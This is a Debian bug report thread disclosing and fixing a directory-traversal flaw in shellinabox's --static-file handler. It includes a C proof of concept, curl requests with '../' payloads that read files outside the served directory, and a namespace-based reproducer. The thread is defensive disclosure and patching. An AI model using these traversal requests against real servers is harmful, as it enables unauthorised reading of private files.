#1153131 shellinabox: directory traversal regression in --static-file handler (externalfile.c)

Package:
shellinabox
Source:
shellinabox
Description:
publish command line shell through AJAX interface
Submitter:
Alexandru-Ionut Jipa
Date:
2026-11-07 12:09:28 UTC
Severity:
normal
Tags:
#1153131#5
Date:
2026-11-05 21:22:25 UTC
From:
To:
Hello,

Filing this publicly per Moritz Mühlenhoff's request on the Debian
Security Team thread (team@security.debian.org), 2026-11-05: "Please
go ahead and file a public bug for this in the Debian BTS using
'reportbug shellinabox' with severity:grave and tag it as a security
bug."

shellinabox/externalfile.c's externalFileHttpHandler() (registered for
the admin-opt-in --static-file <url-path>:<local-dir> command-line
option) is supposed to block path traversal by rejecting any path
component starting with ".". This is the guard added after the
project's historical directory-traversal advisory, CVE-2012-4871. The
guard loop has a pointer-advance bug that makes it ineffective for
every path component after the first.

Root cause (externalfile.c):

if (*pathInfo) {
    strncat(fn, "/", s_size);
    const char *ptr = pathInfo;
    while (*ptr == '/') {
        ptr++;
    }
    strncat(fn, ptr, s_size);

    // Any files/directories starting with a dot are inaccessible to us
    do {
        if (*ptr == '.') {
            deleteURL(url);
            free(fn);
            httpSendReply(http, 404, "File not found", NO_MSG);
            return HTTP_DONE;
        }
        ptr = strchr(ptr + 1, '/');
    } while (ptr);
}

strchr(ptr + 1, '/') returns a pointer AT the '/' character it finds,
not past it. The loop then re-tests *ptr == '.', but ptr now points at
'/', so the comparison is always false, and the loop repeats forever
matching only slash characters. The only character of pathInfo ever
actually checked against '.' is the very first one (before the loop
starts). Every subsequent path-component boundary - including the
character right after an internal '/' that would be '.' for a ".."
component - is never inspected.

No URL-decoding happens anywhere before this handler runs, so literal
../ sequences in the raw HTTP request line work directly with no
encoding needed.

Impact: any deployment using the documented --static-file option
(serving custom CSS/branding assets - a supported, non-default
feature) exposes an unauthenticated directory-traversal file-read
primitive to any network client able to reach the HTTP(S) listener,
reading arbitrary files readable by the shellinaboxd process user.
This is a regression that reintroduces exactly the vulnerability class
and feature area of CVE-2012-4871.

Affected: shellinabox as packaged in Debian (source package
shellinabox, version 2.21), same vulnerable code as the upstream
GitHub mirror at commit 4f0ecc31ac6f985e0dd3f5a52cbfc0e9251f6361, and
also confirmed present in openSUSE Tumbleweed
(2.20+git.1548649128.4f0ecc3-4.38). Upstream (shellinabox/shellinabox)
appears unmaintained - no commits since 2019.

=== PoC 1: standalone logic confirmation (guard loop extracted verbatim) ===

/* Standalone reproduction of the loop-pointer bug in
 * shellinabox/externalfile.c:externalFileHttpHandler()'s dot-component
 * guard. Demonstrates that the guard only ever inspects the first
 * character of pathInfo, and the '/' characters it lands on afterward,
 * never the character that actually follows each '/' -- so any ".."
 * component after the first path segment is never checked.
 *
 * Compile: gcc poc_logic_test.c -o poc_logic_test
 * Run: ./poc_logic_test
 */
#include <stdio.h>
#include <string.h>

/* Exact logic copied from shellinabox/externalfile.c lines ~86-105 */
static int dotGuardBlocks(const char *pathInfo) {
  const char *ptr = pathInfo;
  while (*ptr == '/') { ptr++; }
  do {
    if (*ptr == '.') {
      return 1; /* blocked, 404 */
    }
    ptr = strchr(ptr + 1, '/');
  } while (ptr);
  return 0; /* allowed through to open() */
}

int main(void) {
  const char *tests[] = {
    "../../../etc/passwd",            /* expected: blocked (dot at offset 0) */
    "a/../../../../etc/passwd",       /* should be blocked, but bug allows it */
    "foo/bar/../../../../../etc/passwd",
    NULL
  };
  for (int i = 0; tests[i]; i++) {
    int blocked = dotGuardBlocks(tests[i]);
    printf("pathInfo=\"%s\"  guard_result=%s\n",
           tests[i], blocked ? "BLOCKED (404)" : "ALLOWED -> open(arg
+ \"/\" + pathInfo)");
  }
  return 0;
}

Output:
pathInfo="../../../etc/passwd"  guard_result=BLOCKED (404)
pathInfo="a/../../../../etc/passwd"  guard_result=ALLOWED -> open(arg
+ "/" + pathInfo)
pathInfo="foo/bar/../../../../../etc/passwd"  guard_result=ALLOWED ->
open(arg + "/" + pathInfo)

=== PoC 2: live-fire against the real, unmodified shellinaboxd daemon ===

Source used: upstream mirror shellinabox/shellinabox, commit
4f0ecc31ac6f985e0dd3f5a52cbfc0e9251f6361 ("Rolling code for version
2.21", 2019-01-27) - the same commit analyzed above. externalfile.c
was not modified; a diff against the pristine checkout showed zero
differences before the final test run below.

Build (autotools, two link/config portability fixes for modern OpenSSL
3.x - neither touches externalfile.c or any logic under test):

autoreconf -fi
./configure
# shellinaboxd fails to link against modern OpenSSL 3.x headers unless
# -lssl -lcrypto is added to shellinaboxd_LDADD in the generated Makefile,
# and the -static LDFLAGS is dropped (no static libssl/libcrypto on this
# system). Both are build-artifact edits, not source changes.
make -j4
./shellinaboxd --version
  -> ShellInABox version 2.20 (revision 4f0ecc3)

Test fixture:

mkdir -p /tmp/sib-poc/staticdir/sub
echo "STATIC_MARKER_OK_12345" > /tmp/sib-poc/staticdir/marker.txt
echo "SECRET_OUTSIDE_STATICDIR_SHOULD_NOT_BE_SERVED_7f3a9c" >
/tmp/sib-poc/secret-outside.txt

/tmp/sib-poc/staticdir is the directory handed to --static-file.
/tmp/sib-poc/secret-outside.txt sits one level above it and is never
inside the configured static-file root.

Run the real daemon:

./shellinaboxd -p 14201 --localhost-only -f /sfx:/tmp/sib-poc/staticdir -v

Requests (curl --path-as-is used so curl does not itself collapse the
../ sequences before sending; plain curl without that flag performs
RFC 3986 dot-segment removal client-side and would defeat the test
harmlessly):

Baseline, legitimate in-directory file:
$ curl -s -i --path-as-is "http://127.0.0.1:14201/sfx/marker.txt"
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 23

STATIC_MARKER_OK_12345

Traversal outside the configured directory:
$ curl -s -i --path-as-is
"http://127.0.0.1:14201/sfx/sub/../../secret-outside.txt"
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 53

SECRET_OUTSIDE_STATICDIR_SHOULD_NOT_BE_SERVED_7f3a9c

The daemon served the contents of /tmp/sib-poc/secret-outside.txt, a
file outside the /tmp/sib-poc/staticdir directory configured with
--static-file, over a real HTTP request to the real unmodified daemon.

Daemon's own access log for this run (shows the literal, undecoded ../
path it received and served with HTTP 200 - the server received and
acted on the raw traversal payload itself, not a client-collapsed
one):

[server] Version 2.20 (revision 4f0ecc3)
[server] Command line: ./shellinaboxd -p 14201 --localhost-only -f
/sfx:/tmp/sib-poc/staticdir -v
[server] Listening on port 14201...
[http] localhost - - [19/Oct/2026:03:23:46 +0300] "GET /sfx/marker.txt
HTTP/1.1" 200 103
[http] localhost - - [19/Oct/2026:03:23:46 +0300] "GET
/sfx/sub/../../secret-outside.txt HTTP/1.1" 200 133
[server] Shutting down server
[server] Done

What this rules out: curl pre-normalizing the path (ruled out by
--path-as-is and the daemon's own access log recording the literal ../
segments); the secret file actually living inside the configured
directory (ruled out by directory listing - marker.txt and sub/ are
the only entries inside staticdir); a modified binary (ruled out -
externalfile.c was diffed byte-for-byte against the pristine clone
immediately before this run); an unrelated daemon misconfiguration
granting broad access (ruled out - the same handler correctly returns
the legitimate marker.txt scoped to the directory; only the ../
payload escapes).

Suggested fix, in externalfile.c:

do {
    if (*ptr == '.') {
        ...
    }
    ptr = strchr(ptr, '/');
    if (ptr) { ptr++; }
} while (ptr && *ptr);

or more robustly: reject any pathInfo containing the literal substring
"/../", "/./", or ending in "/.." / "/.", and canonicalize with
realpath() verifying the result stays inside the configured
static-file root before open().

No CVE has been requested yet for this - happy to coordinate on
disclosure timing/CVE assignment.

Best regards,
Alex J.

#1153131#10
Date:
2026-11-05 23:55:15 UTC
From:
To:
Hi,

Thanks for the report!

Sorry I didn't follow the reference to the prior CVE - seems to be for a
different package. However, the remainder of the report seems to stand.
[..]

I agree, if an admin uses this feature they may expose filesystem
content outside the intended subtree.

I have reproduced this failure with the packaged version of this
application end to end (not with a contrived harness) and pushed my fix
to this as a patch in the 'salsa' packaging repository. The failure does
not reproduce with my fix:

https://salsa.debian.org/salvage-team/shellinabox/-/commit/e2f5383afd19e6a0199cbc8e71565b6cb97878a3

Agreed this ought to work, too.

I see no reason to delay a Debian upload for this as the bug is public,
reproduced and we have a fix. As you are keen to co-ordinate wider
activity, would you mind sending a report to the upstream project's
forge?

Andrew

#1153131#17
Date:
2026-11-06 00:35:43 UTC
From:
To:
We believe that the bug you reported is fixed in the latest version of
shellinabox, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 1153131@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andrew Bower <andrew@bower.uk> (supplier of updated shellinabox package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)
Format: 1.8
Date: Fri, 06 Nov 2026 00:03:34 +0000
Source: shellinabox
Architecture: source
Version: 2.21+really2.21-3
Distribution: unstable
Urgency: high
Maintainer: Package Salvaging Team <team+salvage@tracker.debian.org>
Changed-By: Andrew Bower <andrew@bower.uk>
Closes: 1153131
Changes:
 shellinabox (2.21+really2.21-3) unstable; urgency=high
 .
   * patch to fix ineffective --static-file path guard (Closes: #1153131)
     Thanks: Alexandru-Ionut Jipa
Checksums-Sha1:
 9948958614de824d2d98b2957eb797f9db4ec484 2188 shellinabox_2.21+really2.21-3.dsc
 f9f0b137ef20b510217d4383b11c0a3914f67f1d 10484 shellinabox_2.21+really2.21-3.debian.tar.xz
 78fab3beb2fd5d3c4fe46d1be84d70de1b8c7dde 6248 shellinabox_2.21+really2.21-3_amd64.buildinfo
Checksums-Sha256:
 db76f581d7f5b5b920b4ac3bf05e32d064b10a11a7e37bb2a06c4fc3d1570362 2188 shellinabox_2.21+really2.21-3.dsc
 dcd40076d507f3a158bce9d390556534bb81a74ca825f664b1a8879e35b8cf69 10484 shellinabox_2.21+really2.21-3.debian.tar.xz
 f73ebaff69140421525faec06b058dac8ff48abc272cdbc795f39857c39432a8 6248 shellinabox_2.21+really2.21-3_amd64.buildinfo
Files:
 9b8a8855f6e6964169a4fb0135540170 2188 web optional shellinabox_2.21+really2.21-3.dsc
 7e5d5e8a394e2b5e0a09ce9624cbcd20 10484 web optional shellinabox_2.21+really2.21-3.debian.tar.xz
 84a74eb580da440a2ce0994e8194268e 6248 web optional shellinabox_2.21+really2.21-3_amd64.buildinfo
-----BEGIN PGP SIGNATURE-----

iQJEBAEBCgAuFiEEMKYZL6LI55lncG11uqgO2W94h+kFAmrtHWMQHGFuZHJld0Bi
b3dlci51awAKCRC6qA7Zb3iH6d3CD/0Ukj31GC2r6AHxru5cnAJNloVGa1t3qU3q
UPK5DN5tdwvOG6cIj4orlgTNM7POIJ64UVYs0a7qlNKg6UbItVTmi4wTItAJTkBI
En/68kkvtgmGMqYOCVUBBs2Cinekt5ekGg3sZDws2lpgMsEec+072aBDK8lwdOpW
qmVVD4s1OIy297y+lTwip57N9n0yMh8mTt55EMz/CJ7cXgdg6p6Fh3p8mLwYYlAk
qi/bfFbpu1dGekdbSKCTRVnVcGZNPWFGTDYHEAOGNayLxB5P+NV5m0jDqpLC1Rfd
ZCLlu3yqJqIR+fuYfKisQquiP7LpOsCvt4OHL/wq8RtGsxWSYKygeoEg3mZO4pbu
XWXKwnQj+UhgzIErtaV7FTlVtQFrRhhi3+JUT8XseuleSPaBdYnYlNgTpmLyuSzd
4fB/kEz5eUx4s6QIIUA4VLfZ3Hm6grk3mKgU4qgaB08rCJaOmNq5u6YnlQ6CP4FF
tbDjMF/9VsGMRp0ndtahG8qBYTk5D8Bi9VmjHdn5T49SfcZPwnVqX9qpqo7h/0yr
BbaMYg3uOeWfPmU4x2TF7Nx5aQ4pIiWq0o1VUq0qX1a5lINGu4dZKQiwC6pcj4aF
hVMF7OgJ8HeolUqqY6r+3PUUCg4hJqjiGoHMf68CZ+Os7oYkcVmuyjAhiJ0o7RFx
L0DV35b5Rg==
=yOud
-----END PGP SIGNATURE-----

#1153131#22
Date:
2026-11-06 01:17:01 UTC
From:
To:
Hi Andrew,

Thanks for the quick fix and for the credit.

I rebuilt from the salsa tree at 5ab6bdf with both patches applied and
re-ran the original request plus variants: /sfx/sub/../../secret-outside.txt,
/sfx/sub//../../..., /sfx/sub/./../../..., /sfx/sub/%2e%2e/%2e%2e/... and
/sfx/.hidden all return 404 now, while /sfx/marker.txt still returns 200.
The strchrnul() + while (*ptr++) change looks right to me.

On the upstream forge: github.com/shellinabox/shellinabox has had no
commits since January 2019 and its open issues from 2020 have no
maintainer response, so I have nowhere useful to report this upstream.
If you would still like a record there, I can open an issue pointing at
#1153131 and your patch.

Apologies for the CVE-2012-4871 reference in my report - it was wrong
(that CVE is unrelated)

Best regards,
Alex J.

#1153131#27
Date:
2026-11-06 01:24:03 UTC
From:
To:
They are clearly not actively maintaining it but they did acceed to a
request to cut a tag corresponding to the 2.21 release recently (which
was until last year, untagged), so there is at least someone there and
other downstreams may pick it up!

The reason I suggest you post is that you have done all the research so
are probably best placed to but by all means mention that we have
applied a patch to bolster the case. Your patch may be more appropriate
upstream, although marginally larger, because it is not glibc-specific.

#1153131#32
Date:
2026-11-06 01:37:38 UTC
From:
To:
Hi Andrew,

Done, both filed upstream:

  issue: https://github.com/shellinabox/shellinabox/issues/541
  PR:    https://github.com/shellinabox/shellinabox/pull/540

The PR carries the strchr()-based variant (no glibc dependency), tested
on an unmodified 4f0ecc3 build with the same request matrix as before;
both reference #1153131 and your patch.

Best regards,
Alex J.

#1153131#39
Date:
2026-11-07 11:32:39 UTC
From:
To:
Control: retitle -1 shellinabox: --static-file directory traversal guard ineffective

What makes you think this is a "regression", per the bug title? This
behaviour seems to have been present since this logic was first released
in this upstream commit:

commit aab20f5ed00104c8bc9d12d362085634ff64dead
Author: zodiac <zodiac@0da03de8-d603-11dd-86c2-0f8696b7b6f9>
Date:   Mon Dec 29 23:57:07 2008 +0000

    First public release of the version 2.0 rewrite. This is the
    first release of ShellInABox that supports an AJAX interface
    instead of the original Java applet.


    git-svn-id: https://shellinabox.googlecode.com/svn/trunk@2 0da03de8-d603-11dd-86c2-0f8696b7b6f9

I have suggested an alternative title but feel free to refine further it
you think it is inadequate.

I have come up with a simple reproducer that works from a bash prompt
in Linux using the packaged binary:

  mkdir /tmp/x
  unshare -rmn shellinaboxd -t -u 0 -g 0 --static-file /static:/tmp &
  nsenter -t $! -U -n --preserve-credentials
  ip link set up lo
  curl --path-as-is http://localhost:4200/static/x/../../etc/os-release
  exit
  kill %1

This will print the given file when the bug is present and return a 404
response when fixed.

#1153131#46
Date:
2026-11-07 12:08:46 UTC
From:
To:
Hi Andrew,

You are right, it is not a regression. I called it that because I tied
the guard to CVE-2012-4871, and that reference was wrong. I checked the
upstream history: the same strchr(ptr + 1, '/') loop is already in
aab20f5 (2008-12-29, the first 2.0 release), so every release that ships
externalfile.c is affected. Your retitle is accurate and I have no
further refinement.

Thanks for the reproducer; the unshare/nsenter route is much neater than
my local build.

Best regards,
Alex J.